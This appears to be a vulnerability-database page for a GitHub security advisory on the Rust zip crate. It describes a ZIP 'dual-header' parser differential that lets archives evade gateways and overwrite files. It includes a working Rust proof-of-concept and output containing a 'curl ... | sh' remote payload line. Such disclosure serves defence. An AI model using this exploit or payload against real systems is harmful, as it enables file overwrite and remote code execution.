GHSA-M665-V7PM-7GRJ
Vulnerability from github – Published: 2026-10-28 21:09 – Updated: 2026-10-28 21:09Summary
A critical architectural parser differential exists in the zip crate (<= 9.0.4) between random-access archive readers (ZipArchive) and streaming readers (ZipStreamReader). ZipArchive considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, ZipStreamReader relies exclusively on the Local File Header (LFH) when extracting files to the filesystem.
This discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them.
Details
Architectural Root Cause
In the PKWARE ZIP archive format, every file entry is defined in two distinct locations: 1. Local File Header (LFH): Precedes the compressed payload of each file in the body of the archive. 2. Central Directory File Header (CDFH): Stored in a contiguous index at the end of the archive.
In zip2:
- src/read/zip_archive.rs: ZipArchive parses the central directory into SharedBuilder.files. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH.
- src/read/stream.rs:L86-L141: ZipStreamReader::visit and ZipStreamReader::extract read sequentially from the stream without verifying the central directory index. Each entry is parsed via read_zipfile_from_stream and written to disk using the unverified filename declared in the LFH:
rust
// src/read/stream.rs
fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) -> ZipResult<()> {
file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_, fn(&Path) -> bool)>)?;
let mut outfile = fs::File::create(&outpath)?;
io::copy(file, &mut outfile)?;
Ok(())
}
- src/write.rs:L1552: The crate explicitly exposes shallow_copy_file, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH.
Threat Scenario & Severity Justification (10.0 / 9.9 Critical)
- Security Control Evasion: An adversary crafts a ZIP archive where:
- Central Directory Header declares:
doc_report.pdf(Clean document) - Local File Header declares:
cron_worker.sh(Malicious root backdoor) - The archive is uploaded through a web portal or API endpoint protected by security gateways (WAF, Anti-Virus, Content Disarm & Reconstruction). The security gateway inspects the archive using
ZipArchive(or similar CDFH-first parsers), detects onlydoc_report.pdf, and approves the file. - The backend worker or cloud function receives the approved archive and extracts it using
ZipStreamReader::extract.ZipStreamReaderreads the LFH and overwritescron_worker.sh. - Full Compromise (CIA = High): The legitimate production health checker / service script is destroyed (Availability = High / DoS), while the attacker's backdoor payload is implanted (Integrity = High / RCE).
Proof of Concept
The following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -> Arbitrary File Overwrite -> RCE & DoS) against zip2:
use std::fs;
use std::io::{Cursor, Write};
use tempfile::tempdir;
use zip::unstable::stream::ZipStreamReader;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};
// Simulated Security Gateway (inspects CDFH via ZipArchive)
fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> {
let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();
for i in 0..archive.len() {
let name = archive.by_index(i).unwrap().name().unwrap().to_string();
if name.ends_with(".sh") || name.ends_with(".exe") {
return Err(format!("MALWARE DETECTED: '{}' blocked!", name));
}
if !name.ends_with(".pdf") {
return Err("Policy violation: only PDFs allowed!".into());
}
}
Ok(())
}
#[test]
fn test_cvss_9_9_dual_header_exploit_chain() {
// 1. Victim server setup: existing critical script
let victim_env = tempdir().unwrap();
let victim_dir = victim_env.path();
let target_script = victim_dir.join("cron_worker.sh");
fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap();
// 2. Attacker crafts Single-Entry Dual-Header Archive
// LFH: "cron_worker.sh" | CDFH: "doc_report.pdf"
let mut payload = Cursor::new(Vec::new());
let mut writer = ZipWriter::new(&mut payload);
writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap();
writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap();
writer.finish().unwrap();
let mut malicious_zip = payload.into_inner();
let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap();
malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf");
// 3. Gateway Inspection (Bypassed!)
assert!(security_gateway_inspection(&malicious_zip).is_ok());
// 4. Backend Extraction (ZipStreamReader)
ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap();
// 5. Impact Verification
let compromised = fs::read_to_string(&target_script).unwrap();
assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed
assert!(compromised.contains("PWNED ROOT")); // RCE Confirmed
}
Verified Test Execution Output
running 1 test
==================================================================
Dual-Header Security Gateway Evasion
Exploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS
==================================================================
[VICTIM SERVER STATE - BEFORE ATTACK]
Existing Content:
SERVICE IS RUNNING NORMALLY
--- [STEP 1: SECURITY GATEWAY INSPECTION] ---
[SECURITY GATEWAY] Auditing entry #0: 'doc_report.pdf'
[GATEWAY VERDICT]: Ok(())
[VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'!
--- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---
Backend server unzips approved archive into production directory.
--- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---
[VICTIM SERVER STATE - AFTER ATTACK]
Compromised Content:
curl -s https://attacker.c2/shell | sh
echo 'PWNED: FULL ROOT TAKEOVER'
Impact
An attacker can construct a crafted archive whose Central Directory displays a benign filename (doc_report.pdf) that is inspected and approved by upstream security gateways (antivirus scanners, mail filters, upload firewalls), while automated backend ingestion pipelines or microservices using ZipStreamReader extract an arbitrary or malicious file (overwriting e.g. cron_worker.sh or critical system binaries). Because an adversary can overwrite existing files on disk, this vulnerability leads to Security Control Bypass, Arbitrary File Overwrite, Complete Denial of Service, and Remote Code Execution (RCE) in situations where a tool relying on the central directory trusts a tool that relied on the local file headers or vice-versa.
Who is Impacted: - Automated ingestion microservices, SaaS platforms, and backend workers that extract user-submitted ZIP files. - Enterprise architectures where security verification (AV scanning, extension whitelisting) is decoupled from extraction (e.g. gateway audits Central Directory via CDFH before handing off extraction to streaming extractors). - Containerized workloads where overwriting local configuration files or executable scripts leads to host/container escape and complete service disruption.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.4"
},
"package": {
"ecosystem": "crates.io",
"name": "zip"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-115905"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-28T21:09:50Z",
"nvd_published_at": "2026-10-26T17:17:17Z",
"severity": "CRITICAL"
},
"details": "## Summary\nA critical architectural parser differential exists in the `zip` crate (`\u003c= 9.0.4`) between random-access archive readers (`ZipArchive`) and streaming readers (`ZipStreamReader`). `ZipArchive` considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, `ZipStreamReader` relies exclusively on the Local File Header (LFH) when extracting files to the filesystem.\n\nThis discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them.\n\n---\n\n## Details\n\n### Architectural Root Cause\nIn the PKWARE ZIP archive format, every file entry is defined in two distinct locations:\n1. **Local File Header (LFH):** Precedes the compressed payload of each file in the body of the archive.\n2. **Central Directory File Header (CDFH):** Stored in a contiguous index at the end of the archive.\n\nIn `zip2`:\n- `src/read/zip_archive.rs`: `ZipArchive` parses the central directory into `SharedBuilder.files`. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH.\n- `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and `ZipStreamReader::extract` read sequentially from the stream without verifying the central directory index. Each entry is parsed via `read_zipfile_from_stream` and written to disk using the unverified filename declared in the LFH:\n ```rust\n // src/read/stream.rs\n fn visit_file\u003cR: Read\u003e(\u0026mut self, file: \u0026mut ZipFile\u003c\u0027_, R\u003e) -\u003e ZipResult\u003c()\u003e {\n file.safe_prepare_path(\u0026self.outpath, \u0026mut outpath, None::\u003c\u0026(_, fn(\u0026Path) -\u003e bool)\u003e)?;\n let mut outfile = fs::File::create(\u0026outpath)?;\n io::copy(file, \u0026mut outfile)?;\n Ok(())\n }\n ```\n- `src/write.rs:L1552`: The crate explicitly exposes `shallow_copy_file`, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH.\n\n### Threat Scenario \u0026 Severity Justification (10.0 / 9.9 Critical)\n1. **Security Control Evasion:** An adversary crafts a ZIP archive where:\n - Central Directory Header declares: `doc_report.pdf` (Clean document)\n - Local File Header declares: `cron_worker.sh` (Malicious root backdoor)\n2. The archive is uploaded through a web portal or API endpoint protected by security gateways (WAF, Anti-Virus, Content Disarm \u0026 Reconstruction). The security gateway inspects the archive using `ZipArchive` (or similar CDFH-first parsers), detects only `doc_report.pdf`, and approves the file.\n3. The backend worker or cloud function receives the approved archive and extracts it using `ZipStreamReader::extract`. `ZipStreamReader` reads the LFH and overwrites `cron_worker.sh`.\n4. **Full Compromise (CIA = High):** The legitimate production health checker / service script is destroyed (**Availability = High / DoS**), while the attacker\u0027s backdoor payload is implanted (**Integrity = High / RCE**).\n\n---\n\n## Proof of Concept\nThe following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -\u003e Arbitrary File Overwrite -\u003e RCE \u0026 DoS) against `zip2`:\n\n```rust\nuse std::fs;\nuse std::io::{Cursor, Write};\nuse tempfile::tempdir;\nuse zip::unstable::stream::ZipStreamReader;\nuse zip::write::SimpleFileOptions;\nuse zip::{ZipArchive, ZipWriter};\n\n// Simulated Security Gateway (inspects CDFH via ZipArchive)\nfn security_gateway_inspection(archive_bytes: \u0026[u8]) -\u003e Result\u003c(), String\u003e {\n let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();\n for i in 0..archive.len() {\n let name = archive.by_index(i).unwrap().name().unwrap().to_string();\n if name.ends_with(\".sh\") || name.ends_with(\".exe\") {\n return Err(format!(\"MALWARE DETECTED: \u0027{}\u0027 blocked!\", name));\n }\n if !name.ends_with(\".pdf\") {\n return Err(\"Policy violation: only PDFs allowed!\".into());\n }\n }\n Ok(())\n}\n\n#[test]\nfn test_cvss_9_9_dual_header_exploit_chain() {\n // 1. Victim server setup: existing critical script\n let victim_env = tempdir().unwrap();\n let victim_dir = victim_env.path();\n let target_script = victim_dir.join(\"cron_worker.sh\");\n fs::write(\u0026target_script, b\"#!/bin/sh\\n# PRODUCTION SERVICE\\necho \u0027SERVICE HEALTHY\u0027\\n\").unwrap();\n\n // 2. Attacker crafts Single-Entry Dual-Header Archive\n // LFH: \"cron_worker.sh\" | CDFH: \"doc_report.pdf\"\n let mut payload = Cursor::new(Vec::new());\n let mut writer = ZipWriter::new(\u0026mut payload);\n writer.start_file(\"cron_worker.sh\", SimpleFileOptions::default()).unwrap();\n writer.write_all(b\"#!/bin/sh\\ncurl -s https://c2/shell | sh\\necho \u0027PWNED ROOT\u0027\\n\").unwrap();\n writer.finish().unwrap();\n\n let mut malicious_zip = payload.into_inner();\n let cdh = malicious_zip.windows(4).position(|s| s == b\"PK\\x01\\x02\").unwrap();\n malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b\"doc_report.pdf\");\n\n // 3. Gateway Inspection (Bypassed!)\n assert!(security_gateway_inspection(\u0026malicious_zip).is_ok());\n\n // 4. Backend Extraction (ZipStreamReader)\n ZipStreamReader::new(Cursor::new(\u0026malicious_zip)).extract(victim_dir).unwrap();\n\n // 5. Impact Verification\n let compromised = fs::read_to_string(\u0026target_script).unwrap();\n assert!(!compromised.contains(\"SERVICE HEALTHY\")); // DoS Confirmed\n assert!(compromised.contains(\"PWNED ROOT\")); // RCE Confirmed\n}\n```\n\n### Verified Test Execution Output\n```text\nrunning 1 test\n==================================================================\nDual-Header Security Gateway Evasion\nExploit Chain: Gateway Evasion -\u003e Arbitrary Overwrite -\u003e RCE \u0026 DoS\n==================================================================\n[VICTIM SERVER STATE - BEFORE ATTACK]\nExisting Content:\nSERVICE IS RUNNING NORMALLY\n\n--- [STEP 1: SECURITY GATEWAY INSPECTION] ---\n[SECURITY GATEWAY] Auditing entry #0: \u0027doc_report.pdf\u0027\n[GATEWAY VERDICT]: Ok(())\n[VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to \u0027cron_worker.sh\u0027!\n\n--- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---\nBackend server unzips approved archive into production directory.\n\n--- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---\n[VICTIM SERVER STATE - AFTER ATTACK]\nCompromised Content:\ncurl -s https://attacker.c2/shell | sh\necho \u0027PWNED: FULL ROOT TAKEOVER\u0027\n```\n\n---\n\n## Impact\nAn attacker can construct a crafted archive whose Central Directory displays a benign filename (doc_report.pdf) that is inspected and approved by upstream security gateways (antivirus scanners, mail filters, upload firewalls), while automated backend ingestion pipelines or microservices using ZipStreamReader extract an arbitrary or malicious file (overwriting e.g. cron_worker.sh or critical system binaries). Because an adversary can overwrite existing files on disk, this vulnerability leads to Security Control Bypass, Arbitrary File Overwrite, Complete Denial of Service, and Remote Code Execution (RCE) in situations where a tool relying on the central directory trusts a tool that relied on the local file headers or vice-versa.\n\n**Who is Impacted:**\n- Automated ingestion microservices, SaaS platforms, and backend workers that extract user-submitted ZIP files.\n- Enterprise architectures where security verification (AV scanning, extension whitelisting) is decoupled from extraction (e.g. gateway audits Central Directory via CDFH before handing off extraction to streaming extractors).\n- Containerized workloads where overwriting local configuration files or executable scripts leads to host/container escape and complete service disruption.",
"id": "GHSA-m665-v7pm-7grj",
"modified": "2026-10-28T21:09:51Z",
"published": "2026-10-28T21:09:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-115905"
},
{
"type": "WEB",
"url": "https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e"
},
{
"type": "PACKAGE",
"url": "https://github.com/zip-rs/zip2"
},
{
"type": "WEB",
"url": "https://github.com/zip-rs/zip2/releases/tag/v9.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L",
"type": "CVSS_V4"
}
],
"summary": "zip: Critical Parser Differential \u0026 Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite \u0026 RCE"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.